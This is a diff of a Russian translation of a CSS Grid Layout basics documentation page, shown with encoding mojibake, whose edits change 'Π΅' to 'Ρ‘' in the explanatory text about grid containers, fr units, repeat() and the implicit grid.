-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ элСмСнты Π² Π·Π°Π΄Π°Π½Π½ΠΎΠΌ мСстС Grid, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π½ΠΎΠΌΠ΅Ρ€Π° строк, ΠΈΠΌΠ΅Π½Π° ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Π΅ΠΌ привязки к области Grid. Grid Ρ‚Π°ΠΊΠΆΠ΅ содСрТит Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ управлСния Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ΠΌ элСмСнтов, Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… явной ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π² Grid.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ элСмСнты Π² Π·Π°Π΄Π°Π½Π½ΠΎΠΌ мСстС Grid, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π½ΠΎΠΌΠ΅Ρ€Π° строк, ΠΈΠΌΠ΅Π½Π° ΠΈΠ»ΠΈ ΠΏΡƒΡ‚Ρ‘ΠΌ привязки к области Grid. Grid Ρ‚Π°ΠΊΠΆΠ΅ содСрТит Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ управлСния Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ΠΌ элСмСнтов, Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΡ… явной ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π² Grid.</p>
<h3 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ…_полос_для_хранСния_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… полос для хранСния ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</h3>
@@ -33,7 +33,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
<h2 id="Grid_ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€">Grid ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€</h2>
-<p>ΠœΡ‹ создаСм<em> grid ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€</em>, объявляя<strong> display: grid </strong>ΠΈΠ»ΠΈ <strong>display: inline-grid </strong>Π½Π° элСмСнтС. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ это сдСлаСм, <em>всС прямыС Π΄Π΅Ρ‚ΠΈ</em> этого элСмСнта станут <em>элСмСнтами сСтки</em>.</p>
+<p>ΠœΡ‹ создаём<em> grid ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€</em>, объявляя<strong> display: grid </strong>ΠΈΠ»ΠΈ <strong>display: inline-grid </strong>Π½Π° элСмСнтС. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ это сдСлаСм, <em>всС прямыС Π΄Π΅Ρ‚ΠΈ</em> этого элСмСнта станут <em>элСмСнтами сСтки</em>.</p>
<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β Π΅ΡΡ‚ΡŒ div, содСрТащий класс wrapper с ΠΏΡΡ‚ΡŒΡŽ ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°ΠΌΠΈ</p>
@@ -184,7 +184,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
<p>{{ EmbedLiveSample('fr_unit_ls', '220', '140') }}</p>
</div>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ создаСм Π³Ρ€ΠΈΠ΄ с Ρ‚Ρ€Π΅ΠΊΠΎΠΌ Π²Β Β <code>2fr</code>Β ΠΈ двумя Ρ‚Ρ€Π΅ΠΊΠ°ΠΌΠΈ ΠΏΠΎΒ Β <code>1fr</code>. ДоступноС пространство разбиваСтся Π½Π° Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ части. Π”Π²Π΅ части Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ‚Ρ€Π΅ΠΊ, ΠΈ Π΄Π²Π΅ части - Π΄Π²Π° ΠΎΡΡ‚Π°Π²ΡˆΠΈΡ…ΡΡ.Β </p>
+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ создаём Π³Ρ€ΠΈΠ΄ с Ρ‚Ρ€Π΅ΠΊΠΎΠΌ Π²Β Β <code>2fr</code>Β ΠΈ двумя Ρ‚Ρ€Π΅ΠΊΠ°ΠΌΠΈ ΠΏΠΎΒ Β <code>1fr</code>. ДоступноС пространство разбиваСтся Π½Π° Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ части. Π”Π²Π΅ части Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ‚Ρ€Π΅ΠΊ, ΠΈ Π΄Π²Π΅ части - Π΄Π²Π° ΠΎΡΡ‚Π°Π²ΡˆΠΈΡ…ΡΡ.Β </p>
<pre class="brush: css notranslate">.wrapper {
display: grid;
@@ -202,7 +202,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
<h3 id="Π—Π°Π΄Π°Π½ΠΈΠ΅_Ρ‚Ρ€Π΅ΠΊΠΎΠ²_с_ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ_Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ_repeat">Π—Π°Π΄Π°Π½ΠΈΠ΅ Ρ‚Ρ€Π΅ΠΊΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π½ΠΎΡ‚Π°Ρ†ΠΈΠΈ <code>repeat()</code></h3>
-<p>Π’ ΠΎΠ³Ρ€ΠΎΠΌΠ½Ρ‹Ρ… Π³Ρ€ΠΈΠ΄Π°Ρ… с большим количСством Ρ‚Ρ€Π΅ΠΊΠΎΠ² ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΡ‚Π°Ρ†ΠΈΡŽ <code>repeat()</code>Β , Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚ΡŒ структуру Ρ‚Ρ€Π΅ΠΊΠΎΠ²Β ΠΈΠ»ΠΈ Π΅Π΅ Ρ‡Π°ΡΡ‚ΡŒ. НапримСр, Ρ‚Π°ΠΊΠΎΠ΅ Π·Π°Π΄Π°Π½ΠΈΠ΅ Π³Ρ€ΠΈΠ΄Π°:</p>
+<p>Π’ ΠΎΠ³Ρ€ΠΎΠΌΠ½Ρ‹Ρ… Π³Ρ€ΠΈΠ΄Π°Ρ… с большим количСством Ρ‚Ρ€Π΅ΠΊΠΎΠ² ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΡ‚Π°Ρ†ΠΈΡŽ <code>repeat()</code>Β , Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΈΡ‚ΡŒ структуру Ρ‚Ρ€Π΅ΠΊΠΎΠ²Β ΠΈΠ»ΠΈ Π΅Ρ‘ Ρ‡Π°ΡΡ‚ΡŒ. НапримСр, Ρ‚Π°ΠΊΠΎΠ΅ Π·Π°Π΄Π°Π½ΠΈΠ΅ Π³Ρ€ΠΈΠ΄Π°:</p>
<pre class="brush: css notranslate">.wrapper {
display: grid;
@@ -218,7 +218,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
}
</pre>
-<p>Repeat-Π½ΠΎΡ‚Π°Ρ†ΠΈΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒΒ ΡΠΏΠΈΡΠΊΠ° Ρ‚Ρ€Π΅ΠΊΠΎΠ². Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаСтся Π³Ρ€ΠΈΠ΄ с Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌ Ρ‚Ρ€Π΅ΠΊΠΎΠΌ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ Π² 20 пиксСлСй, ΡˆΠ΅ΡΡ‚ΡŒΡŽ Ρ‚Ρ€Π΅ΠΊΠ°ΠΌΠΈ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ Π² 1fr ΠΈ послСдним Ρ‚Ρ€Π΅ΠΊΠΎΠΌ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ Π² 20 пиксСлСй.</p>
+<p>Repeat-Π½ΠΎΡ‚Π°Ρ†ΠΈΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒΒ ΡΠΏΠΈΡΠΊΠ° Ρ‚Ρ€Π΅ΠΊΠΎΠ². Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ создаётся Π³Ρ€ΠΈΠ΄ с Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΌ Ρ‚Ρ€Π΅ΠΊΠΎΠΌ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ Π² 20 пиксСлСй, ΡˆΠ΅ΡΡ‚ΡŒΡŽ Ρ‚Ρ€Π΅ΠΊΠ°ΠΌΠΈ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ Π² 1fr ΠΈ послСдним Ρ‚Ρ€Π΅ΠΊΠΎΠΌ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ Π² 20 пиксСлСй.</p>
<pre class="brush: css notranslate">.wrapper {
display: grid;
@@ -226,7 +226,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
}
</pre>
-<p>Repeat-нотация Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ список Ρ‚Ρ€Π΅ΠΊΠΎΠ², поэтому с Π΅Π΅ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ структуру ΠΈΠ· ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΡ…ΡΡ Ρ‚Ρ€Π΅ΠΊΠΎΠ². Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π³Ρ€ΠΈΠ΄ состоит ΠΈΠ· 10 Ρ‚Ρ€Π΅ΠΊΠΎΠ²: Π·Π° Ρ‚Ρ€Π΅ΠΊΠΎΠΌ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉΒ <code>1fr</code> слСдуСт Ρ‚Ρ€Π΅ΠΊ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ <code>2fr</code> , ΠΈ всС это Π΄Π΅Π»ΠΎ повторяСтся ΠΏΡΡ‚ΡŒ Ρ€Π°Π·.</p>
+<p>Repeat-нотация Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ список Ρ‚Ρ€Π΅ΠΊΠΎΠ², поэтому с Π΅Ρ‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ структуру ΠΈΠ· ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰ΠΈΡ…ΡΡ Ρ‚Ρ€Π΅ΠΊΠΎΠ². Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π³Ρ€ΠΈΠ΄ состоит ΠΈΠ· 10 Ρ‚Ρ€Π΅ΠΊΠΎΠ²: Π·Π° Ρ‚Ρ€Π΅ΠΊΠΎΠΌ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉΒ <code>1fr</code> слСдуСт Ρ‚Ρ€Π΅ΠΊ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉ <code>2fr</code> , ΠΈ всС это Π΄Π΅Π»ΠΎ повторяСтся ΠΏΡΡ‚ΡŒ Ρ€Π°Π·.</p>
<pre class="brush: css notranslate">.wrapper {
display: grid;
@@ -236,11 +236,11 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
<h3 id="Π―Π²Π½Ρ‹ΠΉ_ΠΈ_нСявный_Π³Ρ€ΠΈΠ΄">Π―Π²Π½Ρ‹ΠΉ ΠΈ нСявный Π³Ρ€ΠΈΠ΄</h3>
-<p>Π’ΠΎ всСх ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ… Π²Ρ‹ΡˆΠ΅ ΠΌΡ‹ создавали наши ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹Π΅ (столбцовыС) Ρ‚Ρ€Π΅ΠΊΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства {{cssxref("grid-template-columns")}}, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π³Ρ€ΠΈΠ΄ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ создавал строки (ряды, полосы) для любого ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Ρ‚Π°ΠΌ, Π³Π΄Π΅ это Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π»ΠΎΡΡŒ. Π­Ρ‚ΠΈ строки создавались Π² нСявном Π³Ρ€ΠΈΠ΄Π΅. Π―Π²Π½Ρ‹ΠΉ Π³Ρ€ΠΈΠ΄ состоит ΠΈΠ· строк и ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ опрСдСляСм с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{cssxref("grid-template-columns")}} ΠΈ {{cssxref("grid-template-rows")}}. Если Π’Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π²Π½Π΅ Ρ€Π°ΠΌΠΎΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ свойствами Π³Ρ€ΠΈΠ΄Π° ΠΈΠ»ΠΈ Π² зависимости ΠΎΡ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° трСбуСтся большСС количСство Π³Ρ€ΠΈΠ΄-Ρ‚Ρ€Π΅ΠΊΠΎΠ², Π³Ρ€ΠΈΠ΄ создаСт строки ΠΈ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ Π² Π²ΠΈΠ΄Π΅ нСявного грида. Π Π°Π·ΠΌΠ΅Ρ€ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… Ρ‚Ρ€Π΅ΠΊΠΎΠ² ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ задаСтся автоматичСски Π² зависимости ΠΎΡ‚ находящСгося в Π½ΠΈΡ… ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°.</p>
+<p>Π’ΠΎ всСх ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ… Π²Ρ‹ΡˆΠ΅ ΠΌΡ‹ создавали наши ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹Π΅ (столбцовыС) Ρ‚Ρ€Π΅ΠΊΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойства {{cssxref("grid-template-columns")}}, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π³Ρ€ΠΈΠ΄ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ создавал строки (ряды, полосы) для любого ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° Ρ‚Π°ΠΌ, Π³Π΄Π΅ это Ρ‚Ρ€Π΅Π±ΠΎΠ²Π°Π»ΠΎΡΡŒ. Π­Ρ‚ΠΈ строки создавались Π² нСявном Π³Ρ€ΠΈΠ΄Π΅. Π―Π²Π½Ρ‹ΠΉ Π³Ρ€ΠΈΠ΄ состоит ΠΈΠ· строк и ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ опрСдСляСм с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽΒ {{cssxref("grid-template-columns")}} ΠΈ {{cssxref("grid-template-rows")}}. Если Π’Ρ‹ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅Ρ‚Π΅ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π²Π½Π΅ Ρ€Π°ΠΌΠΎΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ свойствами Π³Ρ€ΠΈΠ΄Π° ΠΈΠ»ΠΈ Π² зависимости ΠΎΡ‚ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° трСбуСтся большСС количСство Π³Ρ€ΠΈΠ΄-Ρ‚Ρ€Π΅ΠΊΠΎΠ², Π³Ρ€ΠΈΠ΄ создаёт строки ΠΈ ΠΊΠΎΠ»ΠΎΠ½ΠΊΠΈ Π² Π²ΠΈΠ΄Π΅ нСявного грида. Π Π°Π·ΠΌΠ΅Ρ€ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… Ρ‚Ρ€Π΅ΠΊΠΎΠ² ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ задаётся автоматичСски Π² зависимости ΠΎΡ‚ находящСгося в Π½ΠΈΡ… ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°.</p>
<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°Π΄Π°Ρ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€ Ρ‚Ρ€Π΅ΠΊΠΎΠ², создаваСмых Π² Π²ΠΈΠ΄Π΅ нСявного грида с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойств {{cssxref("grid-auto-rows")}} ΠΈ {{cssxref("grid-auto-columns")}}.</p>
-<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌΒ <code>grid-auto-rows</code>Β , Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‚Ρ€Π΅ΠΊΠΈ, создаваСмыС Π² нСявном Π³Ρ€ΠΈΠ΄Π΅ Π±Ρ‹Π»ΠΈ высотой 200 пиксСлСй.</p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π½ΠΈΠΆΠ΅ ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌΒ <code>grid-auto-rows</code>Β , Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ‚Ρ€Π΅ΠΊΠΈ, создаваСмыС Π² нСявном Π³Ρ€ΠΈΠ΄Π΅ Π±Ρ‹Π»ΠΈ высотой 200 пиксСлСй.</p>
<pre class="brush: html notranslate">&lt;div class="wrapper"&gt;
&lt;div&gt;One&lt;/div&gt;
@@ -345,7 +345,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
<p>Π’ дальнСйшСм ΠΌΡ‹ Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎ рассмотрим Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ элСмСнтов с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π»ΠΈΠ½ΠΈΠΉ, Π° ΠΏΠΎΠΊΠ° остановимся Π½Π° простом способС. ΠŸΡ€ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠΈ элСмСнта ΠΌΡ‹ ссылаСмся ΠΈΠΌΠ΅Π½Π½ΠΎ Π½Π° линию, Π° Π½Π΅ Π½Π° Ρ‚Ρ€Π΅ΠΊ.Β </p>
-<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅ΠΌ ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° элСмСнта Π² нашСм Π³Ρ€ΠΈΠ΄Π΅ ΠΈΠ· Ρ‚Ρ€Π΅Ρ… ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹Ρ… Ρ‚Ρ€Π΅ΠΊΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойств {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} ΠΈ {{cssxref("grid-row-end")}}. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρ€Π΅ΠΆΠΈΠΌ написания слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт размСщаСтся, начиная с ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈΒ 1, ΠΈ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ пространство Π΄ΠΎ ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ 4, которая Π² нашСм случаС - самая правая линия Π³Ρ€ΠΈΠ΄Π°. Наш элСмСнт начинаСтся со строчной Π»ΠΈΠ½ΠΈΠΈ 1 ΠΈ заканчиваСтся Π½Π° строчной Π»ΠΈΠ½ΠΈΠΈ 3, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ занимая Π΄Π²Π° строчных Ρ‚Ρ€Π΅ΠΊΠ°.</p>
+<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°Π΅ΠΌ ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° элСмСнта Π² нашСм Π³Ρ€ΠΈΠ΄Π΅ ΠΈΠ· Ρ‚Ρ€Ρ‘Ρ… ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½Ρ‹Ρ… Ρ‚Ρ€Π΅ΠΊΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойств {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} ΠΈ {{cssxref("grid-row-end")}}. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Ρ€Π΅ΠΆΠΈΠΌ написания слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт размСщаСтся, начиная с ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈΒ 1, ΠΈ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ пространство Π΄ΠΎ ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ 4, которая Π² нашСм случаС - самая правая линия Π³Ρ€ΠΈΠ΄Π°. Наш элСмСнт начинаСтся со строчной Π»ΠΈΠ½ΠΈΠΈ 1 ΠΈ заканчиваСтся Π½Π° строчной Π»ΠΈΠ½ΠΈΠΈ 3, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ занимая Π΄Π²Π° строчных Ρ‚Ρ€Π΅ΠΊΠ°.</p>
<p>Π’Ρ‚ΠΎΡ€ΠΎΠΉ элСмСнт начинаСтся с ΠΊΠΎΠ»ΠΎΠ½ΠΎΡ‡Π½ΠΎΠΉ Π»ΠΈΠ½ΠΈΠΈ 1 ΠΈ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ ΠΎΠ΄ΠΈΠ½ Ρ‚Ρ€Π΅ΠΊ. Π­Ρ‚ΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, поэтому Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Π·Π°Π΄Π°Π²Π°Ρ‚ΡŒ ΠΊΠΎΠ½Π΅Ρ‡Π½ΡƒΡŽ линию. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚ Π΄Π²Π° строчных Ρ‚Ρ€Π΅ΠΊΠ° - со строчной Π»ΠΈΠ½ΠΈΠΈ 3 Π΄ΠΎ строчной Π»ΠΈΠ½ΠΈΠΈ 5. ΠžΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅ элСмСнты ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π² пустых пространствах Π³Ρ€ΠΈΠ΄Π°.Β </p>
@@ -405,19 +405,19 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
<h2 id="Grid-ячСйки">Grid-ячСйки</h2>
-<p>Π“Ρ€ΠΈΠ΄-ячСйка (<em>grid cell)</em>Β - наимСньшая Π΅Π΄ΠΈΠ½ΠΈΡ†Π° измСрСния Π³Ρ€ΠΈΠ΄Π°, ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ‚ΡƒΠ°Π»ΡŒΠ½ΠΎ похоТая Π½Π° ячСйку Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹. Как ΠΌΡ‹ Π²ΠΈΠ΄Π΅Π»ΠΈ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΡ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ…, Π΅Π΄Π²Π° Π³Ρ€ΠΈΠ΄ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ для Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ элСмСнта, Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты автоматичСски Ρ€Π°Π·ΠΌΠ΅Ρ‰Π°ΡŽΡ‚ΡΡ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΡΡ‡Π΅ΠΉΠΊΠ΅Β Π½Π°ΡˆΠ΅Π³ΠΎ Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π³Ρ€ΠΈΠ΄Π°. На рисункС Π½ΠΈΠΆΠ΅ пСрвая ячСйка Π³Ρ€ΠΈΠ΄Π° Π²Ρ‹Π΄Π΅Π»Π΅Π½Π° Ρ†Π²Π΅Ρ‚ΠΎΠΌ.</p>
